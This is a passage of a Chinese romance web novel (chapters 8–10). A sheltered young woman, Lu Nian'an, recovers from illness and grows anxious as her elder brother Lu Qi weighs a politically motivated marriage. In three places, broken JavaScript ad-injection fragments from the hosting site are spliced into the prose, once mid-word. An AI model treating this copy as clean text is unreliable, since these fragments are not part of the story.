陆念安平日里不喜太多人跟着,此刻昏了过去,周边也没有几人。 秋菊吓傻了,愣在原地不知所措,好在早有下人跑出院子去寻人。 * 翌日是个晴天,整个北院都泛着一股子苦涩,陆念安昏迷了一整天,醒来的第一件事是喝药。 这苦涩实在让人难受,她动了将药倒掉的冲动,一抬眸,对上兄长黑漆漆的眸子,陆念安立马转过手,忙灌了一大口。 她到底是惧他。 昨日太医院来了两个医师,替她施针以后她便退了烧,又说她不是什么大毛病,普通的寒气入体,睡一觉就能醒来。 架子床两边的水清色帘幔已经被拉开,陆念安靠在床边,一边咳一边喝药,纤弱无骨的指尖抵在胸口处,她难受极了,硬生生灌了一碗药,苍白的唇瓣也因此湿润了些。 陆祈接过空碗放在一旁。 他今日还有要紧事,本不该来北院,临走前,又忧思她会不会不乖——他果然不乖。 他看着她将药喝完才走。 用了药,她用衣袖掩着唇咳嗽,咳得眼角溢出泪花。 陆祈也不好受,这是他看着长大的妹妹,他总是念着她好的。 临走前,陆祈匆忙道:“下月的宫宴不想去便不去。” 这实在是意外之喜。 陆念安想,兄长实在是太了解她。 他此刻告诉她不必在去宫宴,使得她喝起素粥来都觉得泛甜。 正午时又用了一次药,秋菊盯着她喝完,将碗接过后随手搁在了红木柜上。 回头时,阳光倾斜散进室内,陆念安一头乌发沐在光影之下,两日未梳,有些毛躁。 秋菊拿来玉梳替她顺发,又同她念叨昨日的事情,一开口就先叹声气:“小姐,你昨日要将我吓到了。” 她话锋一转:“还好夫人很快就叫了大夫来,也一直守着你直到公子回府,公子进屋时,太医也跟着来了,好在没什么大问题。” 陆夫人上了年纪,现如今已很少在熬夜,但陆念安这身子,总惹人担忧。 陆念安听到这里时,低下头有些感动。 陆家人一直待她极好,自来了陆府,她便没受过委屈。 她不该不满足的。 陆念安呼出口气,忍了忍心头酸涩,告诉自己以后还是好好要听哥哥和母亲的话。 “……” 秋菊没注意到她出神,此时放下玉梳,她已将她的长发顺好,继续往下说着:“徐老师也被吓到了,临走前将琴留了下来——哦,还没同小姐说呢,那琴是大公子托她带回的,本就是给小姐的礼物。” * 陆念安想起了这个礼物。 前些年冬日那会儿,她宅在家中看闲书, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 认识到一种会泛紫光的木头。 便随口念给了哥哥听,又念叨若是真有这木,那她想要一把这木做得琴。 那时兄妹俩相隔甚远,一个端坐在书桌上处理公务,一个没正形得懒在塌上,一边吃糕点一边看闲书。 那时陆祈听见她的念叨,只敷衍了一句知道了。 时隔两年以后的今年,陆念安恍如隔世,才发觉那竟不是敷衍。 是哥哥替他寻的,替这把琴覆上了更珍贵的意味。 没高兴几秒,脑海中闪过几个零碎画面。 陆念安想起那琴的琴弦似是断了——秋菊说那琴已被送去了西院,陆祈说是要找人修缮。 她心有些痒了。 本想等兄长回来了再去看琴,可她显然不是耐得住性子的人,既是浑身无力,也要从床上爬起来去看琴。 秋菊惊讶于她的毅力,忙将她人压了回去:“小姐,公子说这一月你都不用碰琴了。” “可昨日练成那般,实在是羞愧于老师。”陆念安颤抖着下了床,自己将鞋履穿好,摇摇晃晃往外走:“我不能让徐老师对我失望了。” 秋菊看着她背影,觉得她可太能折腾了。 只好叫来莲叶,陪着她胡闹。 * 兄长的书房内总是有一股浅淡的墨香气,这味道浮在空中,陆念安推门而时,会感受到一种只属于陆祈的沉稳。 这是哥哥处理公事的地方。 陆念安性子虽闹腾,但她识人眼色,该乖巧时乖巧,比如此刻,她就不敢太放肆。 哥哥虽从未和她说过朝中之事,也未让她注意过什么,但陆念安隐约能从细枝末节中感受到些严峻。 书房这种地方理应着放着她不该乱动的物件,陆念安不会去上手乱翻。 此刻站在原地环顾室内,视线从一旁的红漆木高架上缓缓移动到书桌,扫过那些复杂晦涩的书封时,陆念安下意识皱眉。 她从前也嫌过这书房太冷清,曾送了好些小摆件过来,只是哥哥从来没有摆出来过。 好在那琴还算显眼,陆念安目光落在空荡的几案上,见那瑶琴正摆在一旁。 瑶琴琴身被打磨地极其光滑,紫木在白日,果真泛着紫光。而坠在琴身上空的弦丝像冰,那根断裂的弦丝垂在半空,突兀中闪烁着耀眼的寒光。 陆念安对琴一直没什么天赋,学起来也懒懒散散不够认真,但她又确实是喜欢的。 她喜欢琴声,更喜欢收集各式各样的琴,那些琴她从来不用,反而会小心珍贵地装进盒中,也不会去日日去看,只偶尔扫一眼。 陆念安也不会同任何人分享这些琴,有时她觉得懊恼,因为这实在是一个怪癖。 还好哥哥理解她。 从回忆中抽离,陆念安上前一步,想将瑶琴抱下来。 她今日穿了身水蓝色交领襦裙,袖摆有些宽大了,抬起手时,一截手腕裸露在半空中,纤细白皙。 她摇摇晃晃着,好在并没出什么意外。 秋菊接过琴递给门外的小厮,回过头看自家小姐。 陆念安到底是高估了自己,此刻躬起腰缓解头疼,春日的衣裳轻薄,她脊背呈现出羸弱的弧度来。 病还未好就开始折腾,大公子不在也无人能管得住她,秋菊真的不知道该说什么好。 “小姐,陆夫人那又送了补药过来,”秋菊也学会让她长记性,“琴了拿了该回去喝药了,不然药凉了就更苦。” 陆念安:“……” 她也出来了好一会儿了,的确该回府喝药。陆念安抬步往前走,下意识用手扶着一旁的木柜,大抵是太久没活动,此刻竟踉跄了下。 “啪嗒——”一声,她手肘撞上了木柜边缘。 秋菊无奈:“小姐!” “没事没事,”陆念安疼得直吸气,抬眼就见秋菊着急忙慌地走过来,她忙笑道:“也挺好的,磕一下我就不困了呢。” 秋菊却直接绕过她蹲下,双手拾起地上的小册子:“方才放哪儿的,可得放回原处才行。” 陆念安低头,见秋菊手中拿着一个小册子,她想起方才听见的“啪嗒”声,原是她踉跄时,不小心将这册子撞了下来。 她揉着手肘,也有些懊恼。 到底是怕弄丢了什么重要东西,陆念安从秋菊手中接过册子,想着放回原处。 门窗敞开,阳光落在书架上,书架最上层只摆着个豆青瓷花瓶,其余几格则空旷。 陆念安比划着,她想将册子放进花瓶旁边的格子中。 便踮起脚动作有些艰难地往上靠,冷风透过正敞开着的门窗往里钻,将她水蓝色裙摆吹起,也将她手中的册子吹得凌乱。 陆念安仰起头,努力往上靠的动作在这时一怔,她忽得僵住了,任由风胡乱吹,将这册子的内页吹得凌乱极了。 “小姐?” 秋菊见她没有反应,以为她是哪里不舒服,上前一步替她将册子放回原处,又将她往外拉。 陆念安终于回神,灵动的双眸在此刻稍显呆愣,傻傻得模样。 这册子上的姑娘家都很漂亮。 8. 第 8 章 自古以来,天灾都是史书上悲惨的一笔。前日里,圣上已下旨开国库发救济粮,这一旨意带动了许多富商开仓赈粮,南下的局势稍好了些,但这点粮食远远不够。 朝廷就是一张密密麻麻的大网,底下势力错综复杂,总让人有些理不清。 四部各司其职,陆祁所属四部之一的吏部,已被留在宫中两日。 所以自上回匆匆告别,陆念安便再也未见过他,她不懂外面局势严峻,这个年纪的姑娘家,总是带着几分残酷的天真。 病气彻底散去的那一日,庭院中那棵海棠已经落满枝头,陆念安折下几簇花,去一趟千山宛拜访母亲。 陆夫人是这些年开始养性子的,她吃斋念佛,日日抄经,衣裙上都染上佛香的味道,沉静极了。 陆念安并不打扰她,只偶尔过来歇一歇,有时也来吃斋饭,陪她抄经。 今日她过来一趟,陆夫人很是开心,念叨她病好以后又瘦了。 陆念安笑着说哪有。 雕花木窗下摆着一对绣墩,绣墩上放着花瓶,是红叶李,五瓣花瓣匀称。 陈嬷嬷进屋时带起风,惹得那花瓣都颤了颤,她走到塌间止步,将手中托盘放下:“夫人听说小姐过来,差丫头特意去南街买了糕点。” 不过半月,时下桃花便败了许多,糕点铺鲜花饼的内陷也从桃改成了杏。 陆念安用唇瓣抿口茶,一边啃杏花饼一边听母亲念叨。 陆夫人在同她说最近的水灾,她久居深宅,但并非不问世事,此次南下灾祸,陆家也派人送了不少东西积德。 “你兄长近日被留在宫中,也是因为这件事,”陆夫人叹气,她总是对陆祈有太多的期望,“若是他不能为陛下分忧,陛下对我们陆家大抵也是会失望的。” 从前没人同陆念安说这些话。 她是被养在深宅里的姑娘,对她来说,将琴练好便是天大的难事了。 听见母亲提起兄长,陆念安下意识担忧:“那哥哥会怎样?” “只是在陛下心中的份量轻些,”陆夫人摇头:“便比不上他父亲在陛下心中的份量了。” 陆念安不太懂,只是期盼哥哥平安。 陆夫人又同她说了一些灾情的事。 这是陆念安第一次了解到,原来在距离上京万里路的小镇上,还有那么多百姓受苦,这感觉其实很奇妙。 她坐在精巧奢华的屋子里,香炉中燃着的线香值黄金万两,可在万里之外,有人居无定所,喝着如水一般的粥。 是陆家给了她目前所拥有的一切。 她因为忧思过虑低下头,纤长的脖颈在光下莹莹,如玉一般细腻。 “母亲,”陆念安道:“阿念其实也有一些小的物件,都拿去换了银子如何?” 她本就懂事,陆夫人一直是极喜欢她的:“念念高兴就好,总归是行善事,若是之后差了什么,让你兄长再给你添一些就好。” 陆念安点头,已经开始盘算有哪些东西可以拿去当掉。 不知不觉间,她竟忘一开始来千山宛是为了何事。 她本想问问那些漂亮姑娘的…… 春日的天气和煦,此时阳光正好,带点暖意却不晒人,陆夫人又邀她去外面走一走,散一散病气。 陆夫人空余的时间大抵都用来打理院中的花草了,千山宛里栽种的花要比别处精贵都多,陆念安有时也会同母亲撒娇要几株花来养养,此刻却没了心情。 陆夫人不免叹气,知道小姑娘太懂事了,一时间接受不了灾情。 便换了一个轻松些的话题:“听说念念前些天遇到了太傅家那孩子?” 陆念安是不能一心二用的,这会儿回答母亲的问题,便将方才的事情暂且搁置掉。 她回忆着,本想摇头,却想起赠她桃花糕的那位姐姐。 花园里摆着石桌,坐在这一处晒些太阳是最好不过的。等待孩子开口的间隙,陆夫人带着她走来。 “前些天是见了一位姐姐。”陆念安拍了拍裙摆,在石凳上坐下。 “那应就是太傅家的孩子了,”陆夫人似是想起来什么,笑着问她:“如何,那阿念喜欢这位姐姐吗?” 同样的问题前些天已经回答过了一遍。 但不同的事,在面对母亲时,陆念安却无法直接了当地去说不喜。 她倒茶掩饰失落,语气强撑起笑意:“阿娘问这是为何?” “我瞧着你兄长也不小了,是到了该成家的年纪。” 陆夫人有意为儿子寻一门亲事,前些年就有这想法了,但耐不住陆念安还小,怕忽略了孩子便作罢。 现下却没有顾虑。 她没注意到陆念安沉默地反常,继续道:“早些年我同林夫人还有些交情,昨日晚上收到了林家递来得信,信中提到了你,我就想,林家那姑娘大概是对你兄长有意的。” 林太傅是天子的启蒙老师,百年根基,在陛下那儿也有几分颜面,若是结成亲家,也是桩门当户对的好亲事。 之所以还犹豫,是怕那孩子不是个好相处的。 “念念都听母亲的。”陆念安捧着茶杯,双眸看着满园的春色,缓缓道。 * 在母亲那儿又坐了许久,陆念安回府时,莲叶正在用扫帚扫去院中灰尘。 北院这边没有太多的规矩,她也是极好相处的主子,天色正好,便让莲叶放了扫帚进屋。 陆念安同她们说:“方才我想起院中还有许多旧的首饰,拿出去典当掉,换成粮食送人到是不错。” 秋菊和莲叶生在陆家,虽是下人,但从未在衣食上被亏待过,想起南方的水灾,也时常感到难受。 她小姐要行善,她们当下也是高兴的。 库房就在后厢,两个人找出来钥匙,打算去收拾一番。 陆念安也跟了上去。 她想,她今日定不能闲下来,指不定又开始胡思乱想。 秋菊将库房的门拉开,后厢房有些暗了,莲叶便拿了灯烛来,放在几案上照明。 厢房不小,靠墙摆着两面高架,角落则是放着许多一样的八宝盒,堆砌在一起。 陆家本就是殷实的人家,陆念安的私库也丰盈,那些“旧”得首饰其实几乎没用过,擦拭下便光彩曜人。 这一次收拾出来两个大匣子,精贵的簪子玉环挤在一起,陆念安又添了盒金叶子——这是她这些年全部的压岁了,一并装了进去。 若是都换成粮食,至少也够几个村子吃上一个月了。 这话是秋菊说得,陆念安没什么概念。 她心里好受了许多。 之后收拾出来的匣子被递给了王管事,他这人办事牢靠,不求快只求稳,只说会慢慢将事情办得稳妥。 日子便在泛着苦涩的药碗里、盼望南下传来好消息的清晨,和掰着手指数哥哥走了几天的夜晚中流逝掉。 直到王管事将换成的粮食送去了南边……陆念安每日要念的事情少了一件,只剩下数哥哥了。 陆念安无法一心二用,也做不到将亲近和疏远放在同一个人身上。 越是压抑,越思念。 * 春日游,杏花吹满头。 陆祈是在一个寻常清晨回府的,那会儿正值卯时,他下马车时,车前落了一地的杏花瓣。 他照例先去了一趟千山宛,背影在水雾湿润的早晨,显得有些寡淡。 而后回了趟书房便去了北院,小半月未见,他也不知阿念的琴练习得如何。 作为兄长,总该抽空去检查的。 北院内,陆念安方才转醒,疲倦地揉着额头。 这几日她时常感到困倦,可每每闭上双眼,又很难入睡。 陆念安不敢不喝药了,自失眠以后,秋菊端来的补药她在不敢耍性子,总是听劝地喝完。 这会儿静坐在床上,药摆在一旁,只是秋菊忘了给她拿甜枣,她乖乖等着。 秋菊很快回来,推门地动作急促,一张脸神色怪异。 她往日里不会这般急促,于是陆念安很快察觉出不对劲,打趣道:“是又见了那送点心的小生了,才这般魂不守舍?” 她说出这话是因为在此以前,秋菊曾同她夸过那送点心的小生模样周正,她很少夸过谁,那会却连连感叹了三声。 两人若不是主仆,也是手帕交的情谊,总是能一眼看出对方的不对劲。 “小姐,”秋菊将甜枣递过去,嘀咕:“就该让这药好好苦苦你的嘴。” “我甜着呢!”陆念安先吃了颗甜枣,笑道:“是你说那小生模样周正的,还不许我好奇了?” 秋菊无奈,将甜枣从她手中接过,只递上一碗已经放凉的苦药:“今日是另一个小生,模样一点也不周正,小姐可满意了?” “好吧。”陆念安低下头喝药,深吸口气饮完,抬眼想找秋菊要甜枣。 只是她视线不可避免地落在正前方,便移不开眼了。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>兄长竟何时回来的? 陆祈站在门檐处不知看了多久,此时雾气散去,他背着光,面容被虚化,让人看不清神色。 “是哪个小生这般周正,”他含笑看她,用商量地语气:“也同哥哥说说?” 府中所有事都有专人记录,尤其是北院的一举一动,但陆祈总觉得,从妹妹口中再说出来,是更为有趣的。 对旁人来说,这可能只是一个最寻常的春日早晨。 陆念安呆愣片刻后站起身,她穿着那件新制得寝衣,轻薄的春料微透。 晨日湿润,她长发如墨,乖巧地搭在肩侧,抬步往前走时,衣裙紧紧贴身,将她胸前的曲线勾勒出来。 这春料还是有些透了,而她又一向没个正行,颈间肌肤便明晃晃裸露在外,白的有些刺眼。 陆念安走到兄长面前,还没来得及踉跄,陆祈便已拖下外衫搭在她头上,宽厚的长衫将他整个人笼住。 属于兄长的柔情全然不见,他冷下声音,语气有些冷淡:“多大了还没个正行。” “我哪……” “理直气壮,”陆祈评价她时常用这四字:“这样子可别让别人瞧了,到以为我冤枉你。” 陆念安才发现自己只穿着寝衣,此刻低下头一看,耳根霎那间就红透了,却硬强撑着嘴硬:“明明以前都是这样的。” “嗯,”许是太久没见幼妹,一向稳重的陆祈也开口逗她:“我们阿念以前还会坐在地上撒泼,哥哥有段时间没见过了,什么时候再给哥哥演一个?” 大概只有在面对这位妹妹时,朝中冷情古板的陆大人才会柔和下来。 “……” 陆念安无话可说,抬手关掉门去换衣。 闺房内小女孩用得物件很多,陆念安匆忙地换好衣裳,又对镜挽起发,才拉开门匆匆往外走。 陆祈很少进她闺房,严以律己的同时,也这般要求她要有距离感,陆念安却总是忘记,便会被兄长推开。 她当然也会委屈,哪有哥哥会这般疏远妹妹? 所以陆念安时常感受到遗憾,也害怕哥哥会将自己丢人。 此刻推开门,见兄长未走,她呼出口气,呆呆望着他。 陆祈还未换衣,他平日里喜穿素色,只在宫中,才会穿这般亮眼的红衣。 他气质稳重,平日里用律法去压人,总是置身事外地沉稳,也叫人忽视他俊朗的面庞。 但陆念安不会,早在很久之前,她就注意到哥哥尤为优越的相貌。 “阿念,”见她看着自己却不动,陆祈唤她过来,在她抬步前,又落下句:“沉稳些。” “哦。”陆念安不太高兴。 长大以后,她真的时常感受到不满。比如她总是跑着去见哥哥,哥哥却只想让她慢些——他就是这样,陆念安想,哥哥永远不会懂她的急迫。 两兄妹好些日子未见面,秋菊很有眼色地去泡了茶,是陆念安爱喝的甜茶。 琉璃制成的茶壶是透明的,散在壶中的玫瑰花瓣色泽艳丽,又佐以苹果和甜橙增加香气。 “哥哥你试试,”她明知道兄长不喜甜,却倒了整整一满杯:“妹妹这厢给您倒茶嘞。” 陆念安前日去听了戏,学了一句调调便开始现眼。 陆祈无奈,修长的指骨抵在瓷杯上,他平静道:“听府上人说,阿念又不乖了?” 陆念安手腕一抖。 “病还未好便跑去拿琴,哥哥还从未发现,阿念竟这般爱琴。” 陆祈看见信时,正处理赈灾粮落不到实处的问题。 这一直是一件麻烦事,混官场的人总是要圆滑些,不敢轻易得罪人。 是陆祈主动接过来这麻烦。 毕竟在他在眼中,他这个幼妹显然才是真正麻烦的存在。 他只是看着信,也被她闹腾的性子气得不清。 “是哥哥赠我的,总是更珍贵些。”陆念安瞧着兄长神色,心下有些心虚,讨好道。 “是吗?” 陆念安忙点头,耳侧碎发微颤。 “那便用哥哥赠得琴,日日练上三个时辰好了。” 总是要给一个教训的。 …… 过了许久,陆祈才听见幼妹不情不愿地“哦”了一声。 陆念安不乐意时便会用这个字,到底还有些不甘心,她想反驳些什么。 陆祈再度开口,语调缓慢,让人难辨:“那阿念去哥哥书房,只是拿了琴?” 9. 第 9 章 甜茶散发着苹果的幽香,味道很好闻,陆念安捧起瓷杯轻嗅,语气有些不满:“谁家哥哥丢了东西第一个想起妹妹?” 她视线幽怨地望过去,而语气也同样幽怨。 陆祈勾起唇角,很快就解答妹妹的疑惑,他说:“只阿念有前科之鉴。” 陆念安:“……” 那她有前科之鉴的地方可太多了。 春日里的清晨,暖光柔和,落在身侧,带着浅浅暖意。 因为兄长的随意发问,陆念安却觉得指尖泛凉,或许连她自己也未曾注意到,她指尖一直抵在热茶上。 陆祈语调缓缓:“阿念很冷吗?” 不同于她,情绪大多时间都浮在面上,陆念安总是很难看出兄长的想法。 此刻也不例外,她沉默一瞬发现自己的小动作,只好干脆承认道:“我就是怕冷!” 海棠树下,陆祈看着她单薄的肩。 春衫是要薄一些,鹅黄色罗裙轻薄,是时下新起的款式。 上京的闺秀,对四季总是有着明确的划分,讲究一季一个花色,细致到布料的选择,领口深浅…… 姑娘家总是要细致一些的。 作为兄长,陆祈将耐心尽数给她,此刻罚也罚了,便含笑道:“那哥哥让人给你制衣如何?” 陆念安一口气说了五个花色,等兄长应下以后,她成了好妹妹模样,关切地问哥哥是掉了什么。 她期待兄长是何反应,未曾料到兄长只是摇头,落下轻飘飘一句:“应是被母亲拿去了。” 他不是在试探她。 陆念安听见这话隐隐松了口气,便黏着兄长不让他走。 半月未见,她有好多好多话要说,她要和他埋怨药有多苦,埋怨庭院中的海棠树花期太短,埋怨因为练琴而生出得厚厚茧子。 她抬起手想给兄长看,海棠树下,陆祁平静地看过去。 那一眼真的很平静,陆念安抱怨地声音忽得就止住了。 小女孩子的情绪来去都很奇怪,也许是这一眼太过平静,也许还有什么别的。 她只是忽然就没有那么多话要说了。 陆念安想到了三年前的春天。 那年初春,红梅刚败,一身紫衣的徐老师来到府上,说话温柔,是南边的腔调。 她是被特意请来教陆念安学琴的。 一开始,陆念安很喜欢这个老师,可没几天,就有些受不了。 不是因为旁得什么,只是因为练琴太苦了。 没个确切的时间,因为只要一有时间,徐老师就会拿出琴给她,零碎的闲暇日子都给了曲子了。 可她是被兄长惯着长大的姑娘,受不了一丁点挫折,更适应不了反复练习同样曲子的苦。 那时整整一个春,她指尖都是红的,她也如现在一般同哥哥抱怨。 哥哥却会将指腹抵她初生的茧上反复摩挲,他手掌很宽大,骨节分明,指腹上有厚厚的茧子,抵在她指尖时,陆念安总是觉得又痒又舒服。 时过经年,海棠花的仍旧花期很短,这一年她没有等到兄长回来赏花,琴音中止,哥哥和她有了距离。 最重要的是她……她似乎也过了要兄长陪同的年纪。 意识到这一点以,陆念安失落起来,这种失落是介于亲情和什么之间的,极其复杂的感受。 她安静地收回手,不在抱怨指腹上的茧,只说自己前日里听了什么戏。 不多时,陆夫人遣散来下人叫两人过去,嬷嬷也过来了一趟,半月未见,一家人总是要一起吃顿饭的。 两人便一起走上长廊,阳光穿过廊柱,散落在地的光影被分割成碎片。陆念安跟在兄长身后,亦如很久以前。 * 千山宛内,此时还未到用饭的时间,陆夫人坐在榻边正喝茶,抬手时,袖摆滑落了些,露出手腕间一抹绿色。 兄妹俩在这时一前一后地进屋,今日两人到都穿着亮色,红衣黄衣配在一起,陆夫人笑盈盈地看着,道:“阿念来看看这是什么?” 屋内是嬷嬷收拾布置过的,塌上的桌案摆着一盒奶酥,盒中用九个精巧的叶子盘托着,漂亮极了。 或许是甜食总让人开心,又或是母亲还将她当孩子哄,陆念安心情好了些,甜甜笑着:“谢谢阿娘。” 她缓步走去,鹅黄色罗裙轻轻晃动,直至稳妥地坐在塌边,方才抬手。 目光不可避免地落在案桌上,最先映入眼帘的不是精巧的糕点,而是母亲放在案沿上的册子。 …… 这册子熟悉极了,陆念安笑容忽得凝固住。 指尖微颤,她到底是忍住了,只拿起点心,什么也没说。 室内燃着的香已经有一会了,这香气逐渐令人平静。 陆夫人今日将两个孩子又唤过来,自然不是单纯的吃饭,此刻抬眼瞥在陆祈身上,缓缓开口:“祈儿,母亲听说近日陛下对你很是上心。” 当今陛下清明,暂时还未立太子。于是朝中大臣党派众多,各自相护,私交泛滥。 陆祈是个例外,他很少同谁家接触,总是妥帖地做好分内之事,包括南下赈灾。 许是朝中局势过于混乱,他这抹正常却独特起来,陛下总是欣赏他的。 “你做的不错……” 母亲和长子的对话,带着沉重的压力。 陆念安拿着糕点,顺着母亲的视线落在兄长肩侧,她''知道自己插不上话,只是安静地看着兄长。 五扇屏风旁,陆祈红衣色泽鲜亮,日光打在他身侧,将他衬得庄重矜贵。 这个年纪能穿得上红衣,实在是罕见。 所以陆夫人悠悠叮嘱到最后,自觉叹声气:“祈儿,莫要怪罪母亲絮叨,只陆家便只你了,你舅舅又都是些上不了台面的,若你不在中用些,阿念往后嫁出去,都得不到夫家的敬重。” 一番话落了下来,陆念安小心打量着兄长神色,却发现他连眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 睛也未眨一下,应下一声知道了。 语气冷淡,态度恭敬。 他是整个上京最好的公子,行事举止总让人挑不出错来,连敷衍长辈都让人信服。 陆念安一直知道,哥哥是很强大的。 她却不是,作为陆祈亲手带出的妹妹,她胆小懦弱娇气,更是贪心。 所以下一瞬,在陆夫人缓缓拿起图册翻开时,陆念安有一瞬间耳鸣。 她没想到会这么快。 室内雅致,几案上摆着独特的木质花瓶,花窗边阳光透进,五扇屏风是用一整块玉镶的,花纹繁琐。 视觉还在不断放大,耳边却听不见任何声音。 “……” 陆念安呆呆坐着,回过味时,竟有时间庆幸。 还要她早发现了这画册,此刻才不至于真的丢脸。 陆夫人只是随意翻开手中的画册,她这时有了几分母亲的模样,絮叨又操心:“婚事上你是要多操些心了,我上回同你说得话也不知你听了没有,最近我是瞧着林家也有这方面的意思。” “林家满打满算,头上也出过两任太傅,当今圣上又敬重师长,我们陆家到底是根基薄了些……” 要说起上京陆家,是近两代才兴旺起来,在此以前,陆家只是上京中,最普通最平凡的一户人家。 往上三辈,也不过只有个秀才。 陆家到了陆将军这一辈才有转折。 陆威天生神力,最意气风发的时刻,半月便夺下一座城池,领军十年,他是陛下亲奉的护国将军,也是整个景国的骄傲。 生命中的最后一刻,他也没有对不起任何人,倒在边疆的荒野,就这般沉默地逝世。 作为他唯一的孩子,陆祈是传统意义上,受众人期许而出生的嫡长子。 少时也随父亲去边疆,习武亦或是兵法皆要培养,白日里练书夜晚习剑,少年沉默,总是独自承受掉所有人的期盼。 他可是有着全上京最英勇无畏的父亲,理应继承父亲的衣钵。 景瑞三十年,天平盛世,陆威已是旧谈,武官落寞,陆家的名号也一日不如一日。 陆祈入了官场。 他肩侧压着太多太多东西了,他不是大户人家培养出来的公子,循规蹈矩,克己守礼,若是走错一步便会牵连整个家族。 陆祈从来都知道。 他从来就知道自己要娶一个什么样女子。 他这个身份,早已经不能谈喜欢与否,更看重家世品性根基。 此刻也没有任何顾虑—— 他只是曾经有过顾虑。 陆祈转过头,视线落在乖乖吃点心的幼妹身侧。 眼前这个身姿纤柔,皮肤白皙的漂亮姑娘,同记忆中瘦弱的小孩儿,一点一点,一点一点重合起来。 她是什么时候长大的呢? 晃神间,陆夫人已经念叨完,问着儿子的意见。 “你瞧着林家如何?” 10. 第 10 章 室内因为这句话而陷入短暂地宁静。 陆念安无法在克制心底起伏,她转过头,透过花窗落下的光影,她看见兄长平静且无起伏的眸子。 下一瞬,那人似是也察觉到她的目光,抬眸看来。 兄妹两视线在空中交汇。 陆祈有一双很冷清的眸,双眸狭长,不笑的时候,总是裹挟着凉意。 只看了妹妹一眼,他很快收回目光,开口时是一贯冷静:“林太傅虽为天子师长,前些年却辅佐过一段时间大皇子,现如今陛下还未立下太子,若是在这个时间同林家结亲,有违初心,自是不妥。” 现如今大景有九位皇子,太子未立,朝中被迫分为几个党派,林家同大皇子最为亲近,而陆家还尚未站队。 这些话足够陆念安迷糊一会儿了,她是被养在深闺的姑娘,不太懂朝中局势。 只是此刻看着兄长冷静的眼眸,陆念安莫名觉得有些难过。 原来婚事,是可以如此冷静的被分析着吗? 她不太明白,心下正疑惑时,又听见母亲开口:“祈儿,林家同大皇子亲近,这未免是坏事。” 她一个久居宅中的老妇人都知道,陛下这几年更偏向大皇子。 陆祈还是没有松口,官场之上,他始终守着一条线,从不逾矩半分。 因为陆祈见过太多心怀私欲之人,后来他被调到了吏部,又不知起草过多少贪墨的案子。 人心总是无法满足,破了戒便绝无回头之意。 他却是清心寡欲的性子,秉性克制,从没想过为欲念入世俗。 最终,陆夫人只得歇了这个心思。 可婚事确实耽误不得了,成家同立业是连在一起的,官场之上,成了婚的男子本就会更得天子青睐。 “祈儿,”陆夫人面色凝重:“你既是不愿卷入纷争,这上京又还有哪家姑娘适宜?” 做母亲的,总是盼着孩子能更好, “清州崔氏。”回答陆夫人的男声平缓。 这四字落下,室内有一瞬静谧。 崔家是在陆夫人意料之外的。 虽说也是百年世家了,可崔家祖上几代只是清州富商,到底是没有林家这般的底蕴。 “……” 陆夫人依稀记起崔家之女品性贤德,这样的女子入了陆家,到底是比林家那位更安分。 稍一思虑,她转过头望向方才及笄的姑娘—— 午后的暖光落在她鹅黄色衣角边,称得她皮肤白皙,陆念安此刻低垂眸不知在想什么,手中还掐着那块糕点,吃也不吃,只将它团成了个圆捏来捏去。 她性子太乖,总让人忧思会不会受了欺负。 陆夫人收回目光时,已然改变了想法:“也好,等这个春天过去,我让陈嬷嬷去崔氏那儿瞧瞧。” 午膳后,陆夫人也乏了,到底是上了年纪,不如年轻人有精气神,便遣散了两兄妹回去。 此时正值正午,方才还是暖意盎然,这会儿却成了雨天。 陈嬷嬷绕回屋去备伞,一边念叨今年是个雨年。 千山宛长廊下,陆念安同兄长并排站着。 顷刻间水雾弥漫,这个春天好像时常下雨。陆念安听着雨水淅沥,忍不住转过头。 兄长正平静地目视前方,雨水从檐滑落的,有一些滴在他衣袍的下摆。 陆念安突然很想说些什么,开口时喉间却一梗,胸腔泛着痒,她忍不住咳嗽起来,一边拍着胸口缓解。 她病才未好多久,平日只零散地咳嗽几声,现下大抵是又受了寒,躬着腰,单薄的肩在水汽中一颤一颤。 陆祁听了,带着她往一旁的厢房中走,又唤底下的丫头备碗姜汤送来。 千山宛里的丫鬟都手脚麻利,此刻不想惊动了陆夫人,很快便将姜汤送去。 陆祁接过,顺手用瓷勺散着热气,才递给一旁的幼妹,“阿念,过几日让王太医给你看看如何?” 陆念安没有说话,只是看着由兄长递过来的瓷碗,热气熏着眼睛,视线因此变得朦胧起来。 她答非所问,娇声唤她:“哥哥。” 陆祁应了,等她开口。 “哥哥……”她犹豫了很久,才试探着问:“哥哥你能抱抱我吗?” 姑娘家仿佛一夜之间就懂了许多事情。渴求兄长拥抱的句式不在理直气壮,她褪去无畏,坐在塌边,是纤弱的,柔软的,苦恼的。 陆念安想,她本不该问出口。可能是因为今日又下雨了吧,湿漉漉的总让人心口闷。 所以她还是说了这话。 话落以后,便渴求地看着兄长,期盼她能给自己一点回应。 可能也不需要太多,不用将她拥入怀中,哥哥能摸摸她的脑袋也好。 可是没有,什么也没有。 过了好一会儿,陆祁缓缓将瓷碗放在几案边,他转过头看她,语气是一贯地柔和:“我们阿念很乖的。” 不要。 陆念安张唇,她还是很想说什么,欲言又止时,撞进兄长柔和而平静的视线。 陆祁一贯是这样看她的,柔和而平静,即便她闹腾地狠了,他也只念一声她全名,不会真的凶她。 陆念安从前觉得这目光让人欢喜,现下却让她很难受。 怎么能有人能做到一直冷静呢? 屋外还下着雨,湿漉的感觉加重,陆念安最终抬起手来,指尖落在兄长宽大的袖摆处。 她轻轻扯住,别扭地开口:“可是哥哥答应阿念,会和阿念永远在一起的。” “自是如此。” 直到如今,陆祁还是能够没有犹豫地回答她。 到了这时,他好像也明白妹妹在闹什么脾气,轻笑了声,陆祁同她说:“阿念,不论今日还是以后,哥哥当然都会和你在一起。” “可是哥哥,”陆念安直视着她,她的目光澄澈而干净,专注看着一个人时,是完全而绝对的一心一意。 “哥哥娶了崔氏以后,还会要阿念吗?” 她突如其来的担忧,只令陆祁叹声气。 这个年纪的小姑娘,好像都把成婚看得很是重要。 陆祁不知如何同她说,娶妻也只是一件例行公事,既是崔氏过门,也不会有任何改变。 他答应过她的从来都不会改变,他看着她长大,也会一直看着她。 最终,陆祁只将一旁的青瓷碗递过去:“等阿念喝完,哥哥就同你说。” 